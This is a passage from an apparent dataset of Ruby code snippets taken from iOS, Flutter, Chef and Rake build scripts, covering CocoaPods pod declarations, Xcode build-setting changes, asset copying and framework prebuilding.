\"https://github.com/CocoaPods/#{repo_name}.git\"\n { :git => url, :branch => branch }\n end\n gem name, opts\nend", "def configure_project\n @config.resources_dirs << resources_dir.to_s\n\n # TODO: replace this all once Xcodeproj has the proper xcconfig parser.\n return unless xcconfig_hash && ldflags\n configure_xcconfig\n end", "def develop_pods\n color(32) { puts \"Installing Develop Pods...\" }\n pod 'BasicCommons', :git => 'git@github.com:kevinOlivet/BasicCommons.git', :branch => 'develop'\n pod 'BasicUIElements', :git => 'git@github.com:kevinOlivet/BasicUIElements.git', :branch => 'develop'\n pod 'CuotasModule', :git => 'git@github.com:kevinOlivet/CuotasModule.git', :branch => 'develop'\nend", "def build\n new_resource.exclude_jars.each do |jar|\n exclude_jar(jar, ::File.join(new_resource.path, 'webapp', 'WEB-INF', 'lib'))\n end\n\n execute \"Building JIRA #{new_resource.version} in #{new_resource.path}\" do\n cwd new_resource.path\n command \"./build.sh #{new_resource.targets}\"\n creates new_resource.file\n only_if { node['jira']['build']['enable'] }\n end\nend", "def local_pod(name, *args)\r\n path = File.expand_path name, '../..'\r\n\r\n if File.exist? path\r\n pod name, :path => path\r\n else\r\n pod name, *args\r\n end\r\nend", "def master_pods\n color(32) { puts \"Installing Develop Pods...\" }\n pod 'BasicCommons', :git => 'git@github.com:kevinOlivet/BasicCommons.git', :branch => 'master'\n pod 'BasicUIElements', :git => 'git@github.com:kevinOlivet/BasicUIElements.git', :branch => 'master'\n pod 'CuotasModule', :git => 'git@github.com:kevinOlivet/CuotasModule.git', :branch => 'master'\nend", "def precompile_assets=(_arg0); end", "def add_spec_to_project\n mkdir_p('doc')\n cp(\"../#{@spec_filename}\", 'doc')\n end", "def copy_assets\r\n FileUtils.cd('view') do\r\n %w[style.css napoli.png ferraro.svg].each do |name|\r\n FileUtils.cp(name, File.join('..', 'output', name))\r\n end\r\n end\r\nend", "def create_or_update_copy_xcframeworks_script_phase_to_target(native_target, script_path, input_paths_by_config = {}, output_paths_by_config = {})\n phase = TargetIntegrator.create_or_update_shell_script_build_phase(native_target, BUILD_PHASE_PREFIX + COPY_XCFRAMEWORKS_PHASE_NAME)\n phase.shell_script = %(\"#{script_path}\"\\n)\n TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n reorder_script_phase(native_target, phase, :before_compile)\n end", "def link_project\n install_resources\n copy_headers\n\n @config.vendor_project(PODS_ROOT, :xcode,\n :target => 'Pods',\n :headers_dir => 'Headers',\n :products => %w{ libPods.a }\n )\n\n if ldflags = pods_xcconfig.to_hash['OTHER_LDFLAGS']\n lib_search_paths = pods_xcconfig.to_hash['LIBRARY_SEARCH_PATHS'] || \"\"\n lib_search_paths.gsub!('$(PODS_ROOT)', \"-L#{@config.project_dir}/#{PODS_ROOT}\")\n\n framework_search_paths = pods_xcconfig.to_hash['FRAMEWORK_SEARCH_PATHS']\n if framework_search_paths\n framework_search_paths.scan(/\\\"([^\\\"]+)\\\"/) do |search_path|\n path = search_path.first.gsub!(/(\\$\\(PODS_ROOT\\))|(\\$\\{PODS_ROOT\\})/, \"#{@config.project_dir}/#{PODS_ROOT}\")\n @config.framework_search_paths << path if path\n end\n end\n\n @config.frameworks.concat(ldflags.scan(/-framework\\s+([^\\s]+)/).map { |m| m[0] })\n @config.frameworks.uniq!\n @config.libs.concat(ldflags.scan(/-l([^\\s]+)/).map { |m|\n if lib_search_paths.length == 0 || File.exist?(\"/usr/lib/lib#{m[0]}.dylib\")\n \"/usr/lib/lib#{m[0]}.dylib\"\n else\n \"#{lib_search_paths} -all_load -l#{m[0]}\"\n end\n })\n @config.weak_frameworks.concat(ldflags.scan(/-weak_framework\\s+([^\\s]+)/).map { |m| m[0] })\n @config.weak_frameworks.uniq!\n @config.libs.uniq!\n end\n end", "def copy_source\n directory('webpack', self.target_path, {\n recursive: true\n })\n end", "def get_sourcemap_args\n # The cwd is /fastlane. I don't know why entry_file doesn't need to be ../, but\n # I believe that watchman finds the project root and automatically looks there\n case lane_context[:PLATFORM_NAME]\n when :android\n platform = 'android'\n entry_file = 'index.js'\n bundle_output = '../android-release.bundle'\n sourcemap_output = '../android-release.bundle.map'\n bundle_url = 'index.android.bundle'\n when :ios\n platform = 'ios'\n entry_file = 'index.js'\n bundle_output = '../ios-release.bundle'\n sourcemap_output = '../ios-release.bundle.map'\n bundle_url = 'main.jsbundle'\n end\n\n {\n platform: platform,\n entry_file: entry_file,\n bundle_output: bundle_output,\n sourcemap_output: sourcemap_output,\n bundle_url: bundle_url,\n }\nend", "def j2objc_iosjava\n pod 'j2objc-iosjava-debug', :configuration => ['Debug'], :path => '../iosjava/build/j2objcOutputs'\n pod 'j2objc-iosjava-release', :configuration => ['Release'], :path => '../iosjava/build/j2objcOutputs'\nend", "def install_source_of_pod(pod_name)\n pod_installer = create_pod_installer(pod_name)\n pod_installer.install!\n @installed_specs.concat(pod_installer.specs_by_platform.values.flatten.uniq)\n end", "def lookup_build_vars(cmp)\n cmp_src_path = component_src_path cmp\n cmp_build_path = component_build_path cmp\n cmp_build_bin = component_build_bin cmp\n build_vars = {}\n build_vars['BUILDER_BIN'] = cmp_build_bin\n build_vars['BUILDER_FILES'] = Array.new\n build_vars['PACKAGE_VERSIONS'] = {}\n build_vars['HAS_HADOOP'] = false\n build_vars['HAS_SPARK'] = false\n build_vars['BUILDER_CMDS'] = Array.new\n build_vars['BUILDER_FULL_CMDS'] = Array.new\n build_vars['TEST_FULL_CMDS'] = Array.new\n\n if File.executable?(cmp_src_path)\n ::Dir.chdir(cmp_src_path) do\n mvn_versions = lookup_maven_pom(cmp_src_path)\n if not mvn_versions.empty?\n # Maven build (for Java code)\n setup_maven_build_targets(cmp, build_vars)\n\n else\n # SBT build (for Scala code)\n setup_sbt_build_targets(cmp, build_vars)\n end\n end\n end\n build_vars\nend", "def flipper_post_install(installer)\n file_name = Dir.glob(\"*.xcodeproj\")[0]\n app_project = Xcodeproj::Project.open(file_name)\n app_project.native_targets.each do |target|\n target.build_configurations.each do |config|\n cflags = config.build_settings['OTHER_CFLAGS'] || '$(inherited) '\n unless cflags.include? '-DFB_SONARKIT_ENABLED=1'\n puts 'Adding -DFB_SONARKIT_ENABLED=1 in OTHER_CFLAGS...'\n cflags << '-DFB_SONARKIT_ENABLED=1'\n end\n config.build_settings['OTHER_CFLAGS'] = cflags\n end\n app_project.save\n end\n installer.pods_project.save\nend", "def flipper_post_install(installer)\n file_name = Dir.glob(\"*.xcodeproj\")[0]\n app_project = Xcodeproj::Project.open(file_name)\n app_project.native_targets.each do |target|\n target.build_configurations.each do |config|\n cflags = config.build_settings['OTHER_CFLAGS'] || '$(inherited) '\n unless cflags.include? '-DFB_SONARKIT_ENABLED=1'\n puts 'Adding -DFB_SONARKIT_ENABLED=1 in OTHER_CFLAGS...'\n cflags << '-DFB_SONARKIT_ENABLED=1'\n end\n config.build_settings['OTHER_CFLAGS'] = cflags\n end\n app_project.save\n end\n installer.pods_project.save\nend", "def flipper_post_install(installer)\n file_name = Dir.glob(\"*.xcodeproj\")[0]\n app_project = Xcodeproj::Project.open(file_name)\n app_project.native_targets.each do |target|\n target.build_configurations.each do |config|\n cflags = config.build_settings['OTHER_CFLAGS'] || '$(inherited) '\n unless cflags.include? '-DFB_SONARKIT_ENABLED=1'\n puts 'Adding -DFB_SONARKIT_ENABLED=1 in OTHER_CFLAGS...'\n cflags << ' -DFB_SONARKIT_ENABLED=1 '\n end\n config.build_settings['OTHER_CFLAGS'] = cflags\n end\n app_project.save\n end\n installer.pods_project.save\nend", "def flipper_post_install(installer)\n file_name = Dir.glob(\"*.xcodeproj\")[0]\n app_project = Xcodeproj::Project.open(file_name)\n app_project.native_targets.each do |target|\n target.build_configurations.each do |config|\n cflags = config.build_settings['OTHER_CFLAGS'] || '$(inherited) '\n unless cflags.include? '-DFB_SONARKIT_ENABLED=1'\n puts 'Adding -DFB_SONARKIT_ENABLED=1 in OTHER_CFLAGS...'\n cflags << ' -DFB_SONARKIT_ENABLED=1 '\n end\n config.build_settings['OTHER_CFLAGS'] = cflags\n end\n app_project.save\n end\n installer.pods_project.save\nend", "def copy_assets\n FileUtils.cp_r 'assets/.', 'output/', :preserve => true\nend", "def publish_to_cocoapods()\n command = \"cd downstream_repos/card.io-iOS-SDK;\"\n command += \"pod trunk push CardIO.podspec\"\n \n CommandProcessor.command(command, live_output=true)\nend", "def create_app_project\n app_project = open_app_project(recreate: !configuration.incremental_installation?)\n\n platforms_by_spec = Hash[specs.map do |spec|\n platforms = spec.available_platforms.flatten.reject do |platform|\n !configuration.platforms.nil? && !configuration.platforms.include?(platform.string_name.downcase)\n end\n [spec, platforms]\n end]\n\n if platforms_by_spec.values.all?(&:empty?)\n Pod::Command::Gen.help! Pod::StandardError.new \"No available platforms for podspecs #{specs.map(&:name).to_sentence} match requested platforms: #{configuration.platforms}\"\n end\n\n platforms_by_spec\n .flat_map do |spec, platforms|\n platforms.map do |platform|\n consumer = spec.consumer(platform)\n target_name = \"App-#{Platform.string_name(consumer.platform_name)}\"\n next if app_project.targets.map(&:name).include? target_name\n native_app_target = Pod::Generator::AppTargetHelper.add_app_target(app_project, consumer.platform_name,\n deployment_target(consumer), target_name)\n # Temporarily set Swift version to pass validator checks for pods which do not specify Swift version.\n # It will then be re-set again within #perform_post_install_steps.\n Pod::Generator::AppTargetHelper.add_swift_version(native_app_target, Pod::Validator::DEFAULT_SWIFT_VERSION)\n native_app_target\n end\n end\n .compact.uniq.tap do\n app_project.recreate_user_schemes do |scheme, target|\n installation_result = installation_result_from_target(target)\n next unless installation_result\n installation_result.test_native_targets.each do |test_native_target|\n scheme.add_test_target(test_native_target)\n end\n end\n end\n .each do |target|\n Xcodeproj::XCScheme.share_scheme(app_project.path.to_s, target.name) if target\n end\n app_project.save\n app_project\n end", "def build_assets\n end", "def pre_build\n puts \"pre_build dir=#{`pwd`}\"\n rbvt = RUBY_V\n rbvm = RUBY_V[/^\\d+\\.\\d+/]\n # remove leftovers from previous rake.\n rm_rf \"#{TGT_DIR}/lib\"\n rm_rf \"#{TGT_DIR}/etc\"\n rm_rf \"#{TGT_DIR}/share\"\n rm_rf \"#{TGT_DIR}/conf.d\"\n mkdir_p \"#{TGT_DIR}/lib\"\n cp_r \"#{EXT_RUBY}/lib/ruby\", \"#{TGT_DIR}/lib\"\n # copy include files\n mkdir_p \"#{TGT_DIR}/lib/ruby/include/ruby-#{rbvt}\"\n cp_r \"#{EXT_RUBY}/include/ruby-#{rbvt}/\", \"#{TGT_DIR}/lib/ruby/include\"\n SOLOCS.each_value do |path|\n cp \"#{path}\", \"#{TGT_DIR}\"\n end\n # do some windows things\n mkdir_p \"#{TGT_DIR}/share/glib-2.0/schemas\"\n if APP['GTK'] == \"gtk+-2.0\" \n cp_r\"#{TGT_SYS_DIR}/share/glib-2.0/schemas/gschema.dtd\",\n \"#{TGT_DIR}/share/glib-2.0/schemas\"\n cp_r \"#{ShoesDeps}/share/fontconfig\", \"#{TGT_DIR}/share\"\n cp_r \"#{ShoesDeps}/share/themes\", \"#{TGT_DIR}/share\"\n cp_r \"#{ShoesDeps}/share/xml\", \"#{TGT_DIR}/share\"\n cp_r \"#{ShoesDeps}/share/icons\", \"#{TGT_DIR}/share\"\n elsif APP['GTK'] == \"gtk+-3.0\"\n cp \"#{TGT_SYS_DIR}share/glib-2.0/schemas/gschemas.compiled\" ,\n \"#{TGT_DIR}/share/glib-2.0/schemas\"\n cp_r \"#{ShoesDeps}/share/fontconfig\", \"#{TGT_DIR}/share\"\n cp_r \"#{ShoesDeps}/share/themes\", \"#{TGT_DIR}/share\"\n cp_r \"#{ShoesDeps}/share/xml\", \"#{TGT_DIR}/share\"\n cp_r \"#{ShoesDeps}/share/icons\", \"#{TGT_DIR}/share\"\n else\n cp \"#{TGT_SYS_DIR}share/glib-2.0/schemas/gschemas.compiled\" ,\n \"#{TGT_DIR}/share/glib-2.0/schemas\"\n end\n sh \"#{WINDRES} -I. shoes/appwin32.rc shoes/appwin32.o\"\n cp_r \"#{ShoesDeps}/etc\", TGT_DIR\n mkdir_p \"#{ShoesDeps}/lib\"\n if APP['GTK'] == \"gtk+-3.0\"\n cp_r \"#{ShoesDeps}/lib/gtk-3.0\", \"#{TGT_DIR}/lib\" # shoes, exerb, ruby here\n else\n cp_r \"#{ShoesDeps}/lib/gtk-2.0\", \"#{TGT_DIR}/lib\" # shoes, exerb, ruby here\n end\n bindir = \"#{ShoesDeps}/bin\"\n #cp_r \"#{bindir}/fc-cache.exe\", TGT_DIR\n cp_r \"#{bindir}/gtk-update-icon-cache.exe\", TGT_DIR\n # below for debugging purposes\n if ENV['GDB'] \n cp \"#{bindir}/fc-cat.exe\", TGT_DIR\n cp \"#{bindir}/fc-list.exe\", TGT_DIR\n cp \"#{bindir}/fc-match.exe\", TGT_DIR\n cp \"#{bindir}/fc-pattern.exe\", TGT_DIR\n cp \"#{bindir}/fc-query.exe\", TGT_DIR\n cp \"#{bindir}/fc-scan.exe\", TGT_DIR\n cp \"#{bindir}/fc-validate.exe\", TGT_DIR\n end\n # disable MS Theme\n if !ENABLE_MS_THEME \n Dir.chdir(\"#{TGT_DIR}/share/themes/MS-Windows/gtk-2.0/\") do\n mv 'gtkrc', 'disabled-gtkrc'\n end\n else\n # add our overrides to the MS-Windows theme\n cp \"platform/msw/gtkrc\", \"#{TGT_DIR}/etc/gtk-2.0/\"\n end\n end", "def action_create\n\n install_prerequisites\n\n node.set['pedant'][new_resource.variant]['etc_dir'] = new_resource.config_dir\n\n directory new_resource.config_dir do\n owner new_resource.user\n group new_resource.group\n mode \"0755\"\n recursive true\n end\n\n source_dir = \"#{new_resource.checkout_dir}/#{new_resource.variant}\"\n\n git new_resource.variant do\n destination source_dir\n repository \"git@github.com:opscode/#{new_resource.variant}.git\"\n revision new_resource.revision\n user new_resource.git_user\n end\n\n node.set['pedant'][new_resource.variant]['dir'] = \"/srv/#{new_resource.variant}\"\n\n link node['pedant'][new_resource.variant]['dir'] do\n to source_dir\n end\n\n template \"#{new_resource.config_dir}/pedant_config.rb\" do\n source new_resource.config_template\n owner new_resource.user\n group new_resource.group\n mode \"0644\"\n variables(new_resource.variables)\n end\n\n execute \"bundle install\" do\n cwd node['pedant'][new_resource.variant]['dir']\n # user \"opscode\"\n end\n\nend", "def flutter_additional_ios_build_settings(target)\n return unless target.platform_name == :ios\n\n # [target.deployment_target] is a [String] formatted as \"8.0\".\n inherit_deployment_target = target.deployment_target[/\\d+/].to_i < 11\n\n # ARC code targeting iOS 8 does not build on Xcode 14.3.\n force_to_arc_supported_min = target.deployment_target[/\\d+/].to_i < 9\n\n # This podhelper script is at $FLUTTER_ROOT/packages/flutter_tools/bin.\n # Add search paths from $FLUTTER_ROOT/bin/cache/artifacts/engine.\n artifacts_dir = File.join('..', '..', '..', '..', 'bin', 'cache', 'artifacts', 'engine')\n debug_framework_dir = File.expand_path(File.join(artifacts_dir, 'ios', 'Flutter.xcframework'), __FILE__)\n\n unless Dir.exist?(debug_framework_dir)\n # iOS artifacts have not been downloaded.\n raise \"#{debug_framework_dir} must exist. If you're running pod install manually, make sure \\\"flutter precache --ios\\\" is executed first\"\n end\n\n release_framework_dir = File.expand_path(File.join(artifacts_dir, 'ios-release', 'Flutter.xcframework'), __FILE__)\n # Bundles are com.apple.product-type.bundle, frameworks are com.apple.product-type.framework.\n target_is_resource_bundle = target.respond_to?(:product_type) && target.product_type == 'com.apple.product-type.bundle'\n\n target.build_configurations.each do |build_configuration|\n # Build both x86_64 and arm64 simulator archs for all dependencies. If a single plugin does not support arm64 simulators,\n # the app and all frameworks will fall back to x86_64. Unfortunately that case is not detectable in this script.\n # Therefore all pods must have a x86_64 slice available, or linking a x86_64 app will fail.\n build_configuration.build_settings['ONLY_ACTIVE_ARCH'] = 'NO' if build_configuration.type == :debug\n\n # Workaround https://github.com/CocoaPods/CocoaPods/issues/11402, do not sign resource bundles.\n if target_is_resource_bundle\n build_configuration.build_settings['CODE_SIGNING_ALLOWED'] = 'NO'\n build_configuration.build_settings['CODE_SIGNING_REQUIRED'] = 'NO'\n build_configuration.build_settings['CODE_SIGNING_IDENTITY'] = '-'\n build_configuration.build_settings['EXPANDED_CODE_SIGN_IDENTITY'] = '-'\n end\n\n # ARC code targeting iOS 8 does not build on Xcode 14.3. Force to at least iOS 9.\n build_configuration.build_settings['IPHONEOS_DEPLOYMENT_TARGET'] = '9.0' if force_to_arc_supported_min\n\n # Skip other updates if it's not a Flutter plugin (transitive dependency).\n next unless target.dependencies.any? { |dependency| dependency.name == 'Flutter' }\n\n # Bitcode is deprecated, Flutter.framework bitcode blob will have been stripped.\n build_configuration.build_settings['ENABLE_BITCODE'] = 'NO'\n\n # Profile can't be derived from the CocoaPods build configuration. Use release framework (for linking only).\n configuration_engine_dir = build_configuration.type == :debug ? debug_framework_dir : release_framework_dir\n Dir.new(configuration_engine_dir).each_child do |xcframework_file|\n next if xcframework_file.start_with?('.') # Hidden file, possibly on external disk.\n if xcframework_file.end_with?('-simulator') # ios-arm64_x86_64-simulator\n build_configuration.build_settings['FRAMEWORK_SEARCH_PATHS[sdk=iphonesimulator*]'] = \"\\\"#{configuration_engine_dir}/#{xcframework_file}\\\" $(inherited)\"\n elsif xcframework_file.start_with?('ios-') # ios-arm64\n build_configuration.build_settings['FRAMEWORK_SEARCH_PATHS[sdk=iphoneos*]'] = \"\\\"#{configuration_engine_dir}/#{xcframework_file}\\\" $(inherited)\"\n # else Info.plist or another platform.\n end\n end\n build_configuration.build_settings['OTHER_LDFLAGS'] = '$(inherited) -framework Flutter'\n\n build_configuration.build_settings['CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER'] = 'NO'\n # Suppress warning when pod supports a version lower than the minimum supported by Xcode (Xcode 12 - iOS 9).\n # This warning is harmless but confusing--it's not a bad thing for dependencies to support a lower version.\n # When deleted, the deployment version will inherit from the higher version derived from the 'Runner' target.\n # If the pod only supports a higher version, do not delete to correctly produce an error.\n build_configuration.build_settings.delete 'IPHONEOS_DEPLOYMENT_TARGET' if inherit_deployment_target\n\n # Override legacy Xcode 11 style VALID_ARCHS[sdk=iphonesimulator*]=x86_64 and prefer Xcode 12 EXCLUDED_ARCHS.\n build_configuration.build_settings['VALID_ARCHS[sdk=iphonesimulator*]'] = '$(ARCHS_STANDARD)'\n build_configuration.build_settings['EXCLUDED_ARCHS[sdk=iphonesimulator*]'] = '$(inherited) i386'\n build_configuration.build_settings['EXCLUDED_ARCHS[sdk=iphoneos*]'] = '$(inherited) armv7'\n end\nend", "def add_source_files_references\n UI.message '- Adding source files' do\n add_file_accessors_paths_to_pods_group(:source_files, nil, true)\n end\n end", "def pods\n\tpod 'DateTools'\n\tpod 'HyUIActionEvent', :git => \"https://github.com/HyanCat/HyUIActionEvent.git\"\n\tpod 'HyFoundation', :path => \"..\"\nend", "def release_pods\n pod 'BasicCommons', :git => 'git@github.com:kevinOlivet/BasicCommons.git', :branch => 'master'\n pod 'BasicUIElements', :git => 'git@github.com:kevinOlivet/BasicUIElements.git', :branch => 'master'\n pod 'CuotasModule', :git => 'git@github.com:kevinOlivet/CuotasModule.git', :branch => 'master'\nend", "def install_custom!\n package package_name do\n source new_resource.source.to_s\n checksum new_resource.checksum unless new_resource.checksum.nil?\n end\n end", "def test_copy_using_cp\n @rogerfile.release(blank: true, cleanup_build: false)\n @project.construct.file \"html/test.txt\"\n @project.release.run!\n\n build_path = @project.release.build_path\n\n assert build_path.exist?\n assert_equal 1, build_path.children.size\n assert_equal build_path + \"test.txt\", build_path.children.first\n end", "def build_for_iosish_platform(sandbox, \n build_dir, \n output_path,\n target, \n device, \n simulator,\n bitcode_enabled)\n\n deployment_target = target.platform.deployment_target.to_s\n \n target_label = target.label\n Pod::UI.puts \"Prebuilding #{target_label}...\"\n \n other_options = [] \n if bitcode_enabled\n other_options += ['OTHER_CFLAGS=\"-fembed-bitcode\"']\n end\n xcodebuild(sandbox, target_label, device, deployment_target, other_options)\n xcodebuild(sandbox, target_label, simulator, deployment_target, other_options + ['ARCHS=x86_64', 'ONLY_ACTIVE_ARCH=NO'])\n\n root_name = target.pod_name\n module_name = target.product_module_name\n \n executable_path = \"#{build_dir}/#{root_name}\"\n device_lib = \"#{build_dir}/#{CONFIGURATION}-#{device}/#{root_name}/#{module_name}.framework/#{module_name}\"\n device_framework_lib = File.dirname(device_lib)\n simulator_lib = \"#{build_dir}/#{CONFIGURATION}-#{simulator}/#{root_name}/#{module_name}.framework/#{module_name}\"\n\n return unless File.file?(device_lib) && File.file?(simulator_lib)\n\n lipo_log = `lipo -create -output #{executable_path} #{device_lib} #{simulator_lib}`\n puts lipo_log unless File.exist?(executable_path)\n\n FileUtils.mv executable_path, device_lib, :force => true\n output_path.mkpath unless output_path.exist?\n FileUtils.mv device_framework_lib, output_path, :force => true\n FileUtils.rm simulator_lib if File.file?(simulator_lib)\n FileUtils.rm device_lib if File.file?(device_lib)\nend", "def add_on_demand_resources(native_target, app_spec)\n dependent_targets = target.dependent_targets_for_app_spec(app_spec)\n parent_odr_group = native_target.project.group_for_spec(app_spec.name)\n\n # Add ODRs of the app spec dependencies first.\n dependent_targets.each do |pod_target|\n file_accessors = pod_target.file_accessors.select do |fa|\n fa.spec.library_specification? ||\n fa.spec.test_specification? && pod_target.test_app_hosts_by_spec[fa.spec]&.first == app_spec\n end\n target_odr_group_name = \"#{pod_target.label}-OnDemandResources\"\n UserProjectIntegrator::TargetIntegrator.update_on_demand_resources(target.sandbox, native_target.project,\n native_target, file_accessors,\n parent_odr_group, target_odr_group_name)\n end\n\n # Now add the ODRs of our own app spec declaration.\n file_accessor = target.file_accessors.find { |fa| fa.spec == app_spec }\n target_odr_group_name = \"#{target.subspec_label(app_spec)}-OnDemandResources\"\n UserProjectIntegrator::TargetIntegrator.update_on_demand_resources(target.sandbox, native_target.project,\n native_target, file_accessor,\n parent_odr_group, target_odr_group_name)\n end", "def nuspec_copy(key, glob)\r\n puts \"key: #{key}, glob: #{glob}, proj dir: #{PROJECTS[key][:dir]}\"\r\n FileList[File.join(FOLDERS[:binaries], PROJECTS[key][:dir], glob)].collect{ |f|\r\n to = File.join( FOLDERS[:\"#{key}\"][:nuspec], \"lib\", FRAMEWORK )\r\n FileUtils.mkdir_p to\r\n cp f, to\r\n # return the file name and its extension:\r\n File.join(FRAMEWORK, File.basename(f))\r\n }\r\nend", "def prebuild_frameworks!\n UI.puts \"Start prebuild_frameworks\"\n\n # build options\n sandbox_path = sandbox.root\n existed_framework_folder = sandbox.generate_framework_path\n bitcode_enabled = Pod::Podfile::DSL.bitcode_enabled\n targets = []\n\n if Pod::Podfile::DSL.prebuild_all_vendor_pods\n UI.puts \"Rebuild all vendor frameworks\"\n targets = pod_targets\n elsif !local_manifest.nil?\n UI.puts \"Update some frameworks\"\n changes = prebuild_pods_changes\n added = changes.added\n changed = changes.changed\n unchanged = changes.unchanged\n\n existed_framework_folder.mkdir unless existed_framework_folder.exist?\n exsited_framework_pod_names = sandbox.exsited_framework_pod_names\n\n # additions\n missing = unchanged.reject { |pod_name| exsited_framework_pod_names.include?(pod_name) }\n\n root_names_to_update = (added + changed + missing)\n if Pod::Podfile::DSL.enable_prebuild_dev_pod && Pod::Podfile::DSL.is_prebuild_job\n root_names_to_update += Pod::Prebuild::CacheInfo.cache_miss_dev_pods_dic.keys\n end\n\n # transform names to targets\n cache = []\n targets = root_names_to_update.map do |pod_name|\n tars = Pod.fast_get_targets_for_pod_name(pod_name, pod_targets, cache)\n if tars.nil? || tars.empty?\n raise \"There's no target named (#{pod_name}) in Pod.xcodeproj.\\n #{pod_targets.map(&:name)}\" if t.nil?\n end\n tars\n end.flatten\n\n # add the dendencies\n dependency_targets = targets.map(&:recursive_dependent_targets).flatten.uniq || []\n targets = (targets + dependency_targets).uniq\n else\n UI.puts \"Rebuild all frameworks\"\n targets = pod_targets\n end\n\n targets = targets.reject { |pod_target| should_not_prebuild_vendor_pod(pod_target.name) }\n unless Podfile::DSL.enable_prebuild_dev_pod\n targets = targets.reject { |pod_target| sandbox.local?(pod_target.pod_name) }\n end\n\n # build!\n Pod::UI.puts \"Prebuild frameworks (total #{targets.count})\"\n Pod::UI.puts targets.map(&:name)\n\n Pod::Prebuild.remove_build_dir(sandbox_path)\n targets.each do |target|\n unless target.should_build?\n Pod::UI.puts \"Skip prebuilding #{target.label} because of no source files\".yellow\n next\n # TODO (thuyen): Fix an issue in this scenario:\n # - Frameworks are shipped as vendor frameworks (-> skipped during prebuild)\n # -> The dir structure of this framework in Pods is incorrect.\n # - Expected: Pods/MyFramework/<my_files>\n # - Actual: Pods/MyFramework/MyFramework/<my_files>. Sometimes, Pods/MyFramework is empty :|\n # -> Better to detect such targets EARLY and add them to the blacklist (DSL.unbuilt_pods)\n end\n\n output_path = sandbox.framework_folder_path_for_target_name(target.name)\n output_path.mkpath unless output_path.exist?\n Pod::Prebuild.build(\n sandbox_path,\n target,\n output_path,\n bitcode_enabled,\n Podfile::DSL.custom_build_options,\n Podfile::DSL.custom_build_options_simulator\n )\n collect_metadata(target, output_path)\n end\n Pod::Prebuild.remove_build_dir(sandbox_path)\n\n # copy vendored libraries and frameworks\n targets.each do |target|\n root_path = sandbox.pod_dir(target.name)\n target_folder = sandbox.framework_folder_path_for_target_name(target.name)\n\n # If target shouldn't build, we copy all the original files\n # This is for target with only .a and .h files\n unless target.should_build?\n Prebuild::Passer.target_names_to_skip_integration_framework << target.name\n FileUtils.cp_r(root_path, target_folder, :remove_destination => true)\n next\n end\n\n target.spec_consumers.each do |consumer|\n file_accessor = Sandbox::FileAccessor.new(root_path, consumer)\n lib_paths = file_accessor.vendored_frameworks || []\n lib_paths += file_accessor.vendored_libraries\n # @TODO dSYM files\n lib_paths.each do |lib_path|\n relative = lib_path.relative_path_from(root_path)\n destination = target_folder + relative\n destination.dirname.mkpath unless destination.dirname.exist?\n FileUtils.cp_r(lib_path, destination, :remove_destination => true)\n end\n end\n end\n\n # save the pod_name for prebuild framwork in sandbox\n targets.each do |target|\n sandbox.save_pod_name_for_target target\n end\n\n # Remove useless files\n # remove useless pods\n all_needed_names = pod_targets.map(&:name).uniq\n useless_target_names = sandbox.exsited_framework_target_names.reject do |name|\n all_needed_names.include? name\n end\n useless_target_names.each do |name|\n UI.puts \"Remove: #{name}\"\n path = sandbox.framework_folder_path_for_target_name(name)\n path.rmtree if path.exist?\n end\n\n if Podfile::DSL.dont_remove_source_code\n # just remove the tmp files\n path = sandbox.root + \"Manifest.lock.tmp\"\n path.rmtree if path.exist?\n else\n # only keep manifest.lock and framework folder in _Prebuild\n to_remain_files = [\"Manifest.lock\", File.basename(existed_framework_folder)]\n to_delete_files = sandbox_path.children.reject { |file| to_remain_files.include?(File.basename(file)) }\n to_delete_files.each { |file| file.rmtree if file.exist? }\n end\n\n updated_target_names = targets.map { |target| target.label.to_s }\n deleted_target_names = useless_target_names\n Pod::UI.puts \"Targets to prebuild: #{updated_target_names}\"\n Pod::UI.puts \"Targets to cleanup: #{deleted_target_names}\"\n\n prebuild_output.write_delta_file(updated_target_names, deleted_target_names)\n prebuild_output.process_prebuilt_dev_pods\n end", "def install_dry_crud\n Dir.chdir(self.class.source_root) do\n Dir.glob(File.join('**', '**')).sort.each do |file_source|\n copy_file_source(file_source) if should_copy?(file_source)\n end\n copy_crud_test_model\n end\n\n readme 'INSTALL'\n end", "def create_app_project\n app_project = open_app_project(recreate: !configuration.incremental_installation?)\n\n spec_platforms = spec.available_platforms.flatten.reject do |platform|\n !configuration.platforms.nil? && !configuration.platforms.include?(platform.string_name.downcase)\n end\n\n if spec_platforms.empty?\n Pod::Command::Gen.help! Pod::StandardError.new \"No available platforms in #{spec.name}.podspec match requested platforms: #{configuration.platforms}\"\n end\n\n spec_platforms\n .map do |platform|\n consumer = spec.consumer(platform)\n target_name = \"App-#{Platform.string_name(consumer.platform_name)}\"\n next if app_project.targets.map(&:name).include? target_name\n native_app_target = Pod::Generator::AppTargetHelper.add_app_target(app_project, consumer.platform_name,\n deployment_target(consumer), target_name)\n # Temporarily set Swift version to pass validator checks for pods which do not specify Swift version.\n # It will then be re-set again within #perform_post_install_steps.\n Pod::Generator::AppTargetHelper.add_swift_version(native_app_target, Pod::Validator::DEFAULT_SWIFT_VERSION)\n native_app_target\n end\n .compact.tap do\n app_project.recreate_user_schemes do |scheme, target|\n installation_result = installation_result_from_target(target)\n next unless installation_result\n installation_result.test_native_targets.each do |test_native_target|\n scheme.add_test_target(test_native_target)\n end\n end\n end\n .each do |target|\n Xcodeproj::XCScheme.share_scheme(app_project.path, target.name) if target\n end\n app_project.save\n end", "def meets_pods_project_source_dependency(source_filename, dependent_source_filename)\n has_pods_project_source_file(source_filename) ? has_pods_project_source_file(dependent_source_filename) : true\nend", "def meets_pods_project_source_dependency(source_filename, dependent_source_filename)\n has_pods_project_source_file(source_filename) ? has_pods_project_source_file(dependent_source_filename) : true\nend", "def snap_get_script_phases_with_codegen_discovery_with_config_file_dir()\n return <<~EOS\n pushd \"$PODS_ROOT/../\" > /dev/null\n RCT_SCRIPT_POD_INSTALLATION_ROOT=$(pwd)\n popd >/dev/null\n\n export RCT_SCRIPT_RN_DIR=$RCT_SCRIPT_POD_INSTALLATION_ROOT/../..\n export RCT_SCRIPT_APP_PATH=$RCT_SCRIPT_POD_INSTALLATION_ROOT/\n export RCT_SCRIPT_CONFIG_FILE_DIR=$RCT_SCRIPT_POD_INSTALLATION_ROOT/node_modules\n export RCT_SCRIPT_OUTPUT_DIR=$RCT_SCRIPT_POD_INSTALLATION_ROOT\n export RCT_SCRIPT_FABRIC_ENABLED=true\n export RCT_SCRIPT_TYPE=withCodegenDiscovery\n\n 